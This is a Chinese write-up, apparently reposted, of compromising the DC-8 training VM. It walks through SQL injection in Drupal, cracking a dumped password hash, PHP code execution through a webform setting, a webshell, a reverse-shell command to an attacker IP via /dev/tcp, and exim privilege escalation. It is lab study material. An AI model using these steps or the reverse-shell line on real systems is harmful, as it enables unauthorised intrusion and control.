C/C++教程

DC-8

本文主要是介绍DC-8,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

目录
  • 1 信息收集
  • 2 先看看web
  • 3 提权
  • 4 find more

1 信息收集

惯例先扫端口

{"ip":"192.168.68.168","port":22,"service":"ssh","Banner":"SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u1\\x0a","url":""}
{"ip":"192.168.68.168","port":80,"service":"http","Banner":"","url":"http://192.168.68.168:80"}
{"url":"http://192.168.68.168:80","StatusCode":200,"Title":"WelcometoDC-8|DC-8","HeaderDigest":"server:Apache","Length":8044,"KeywordFinger":"Drupal","HashFinger":""}

2 先看看web

还是drupal,首页写了,后面将会暂停服务,需要修复一些很严重的问题,应该是有漏洞

扫目录,在robots.txt发现CHANGELOG.txt,里面有版本7.67

searchsploit看下有没有可用漏洞

试了一遍没有可用的,继续看看功能点

在访问/?nid=1的时候,加引号有报错,判断存在sql注入,而且泄露了web路径/var/www/html/,有直接写shell的可能

直接sqlmap一把梭,试了下可能是没有写权限,然后就拖了下数据,有两个用户,密码加密过(unix)

uid,data,init,mail,name,pass,login,theme,access,status,created,picture,timezone,signature,language,signature_format
0,NULL,<blank>,<blank>,<blank>,<blank>,0,<blank>,0,0,0,0,NULL,<blank>,<blank>,NULL
1,"a:2:{s:7:""contact"";i:0;s:7:""overlay"";i:1;}",dc8blah@dc8blah.org,dcau-user@outlook.com,admin,$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z,1567766626,<blank>,1567766818,1,1567489015,0,Australia/Brisbane,<blank>,<blank>,filtered_html
2,"a:5:{s:16:""ckeditor_default"";s:1:""t"";s:20:""ckeditor_show_toggle"";s:1:""t"";s:14:""ckeditor_width"";s:4:""100%"";s:13:""ckeditor_lang"";s:2:""en"";s:18:""ckeditor_auto_lang"";s:1:""t"";}",john@blahsdfsfd.org,john@blahsdfsfd.org,john,$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF,1567497783,<blank>,1567498512,1,1567489250,0,Australia/Brisbane,<blank>,<blank>,filtered_html

分别跑了下,只有john能跑出来turtle

直接登录(上面判断可以登录有两个原因,一个是之前做了很多遍drupal相关的靶场,第二个是robots.txt里有登录路径)

edit功能里有上传图片的功能,存在后端检测,把webshell写在图片内容后面即可(检测幻数),但无法解析

在找文件包含功能点的时候,发现了form settings(Contact US页面 -> Web Form -> Form settings),里面有DC-7中的filter

刚刚那个设置是提交后的显示页面,所以提交一下表单就可以执行

顺手看了下里面的信息

直接把上面设置里的phpinfo();换成eval(xxx),用蚁剑连接(需要把请求头Cookie加到蚁剑连接的设置里,当然也可以另外写个shell,后面发现没有写权限)

用插件iconv模式直接绕过disabled_functions

/tmp下写文件/bin/bash -i >& /dev/tcp/192.168.68.190/1111 0>&1 2>&1 & (因为直接执行蚁剑会出错),/bin/bash xxx弹个shell

3 提权

惯例用LinEnum.sh收集下信息

  • Linux dc-8 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux

  • Debian GNU/Linux 9 (stretch)

  • /etc/passwd,有俩可登录用户

    root:x:0:0:root:/root:/bin/bash
    dc8user:x:1000:1000:dc8user,,,:/home/dc8user:/bin/bash
    
  • SUID files,有ping

试试ping提权,但遇到了报错,后面查看pingtmp也是同一分区下的,不知道为啥执行不了

那就换一个看看,挨着看了一遍,只有exim可能存在提权漏洞,看下版本4.89

searchsploit查一下,有本地提权漏洞

把脚本上传,运行,先运行了几次都没效果,看了下说明,直接运行是setuid模式,还有个模式是netcat,可以通过./46996.sh -m netcat来完成

拿到flag

4 find more

忽然想起,那个账户dc8user还没有用到,想看看是不是跳过了什么步骤,去搜了搜wp,没有一个提到了dc8user......

那就自己探索一下,但shell不稳定,没有操作一小会儿就会断掉

所以为了方便操作,试了下执行一个重复运行的反弹shell脚本,但还是会断,又试了试添加账号,改root密码,结果发现都连不上去

这时候想起来/home/dc8user有个文件.google_authenticator,这是2fa验证器的密钥

手机上用Authenticator把这一串加进去,就有一次性口令了(类似steam令牌)这个app没法截屏,就不展示了,这里用一次性口令就可以登录

因为邮件系统用的是exim,所以上面提权的时候会有邮件进来

但我们是不知道dc8user密码的,也没有可用信息没法提权,值得注意的是,可登录用户的/tmpwww-data/tmp不是同一个,这也是上面尝试ping提权失败的原因(无法跨分区创建硬链接)

所以,这个账号很有可能只是误导人的,去看了下官方推荐的wp,发现确实没有用到 = =

这篇关于DC-8的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!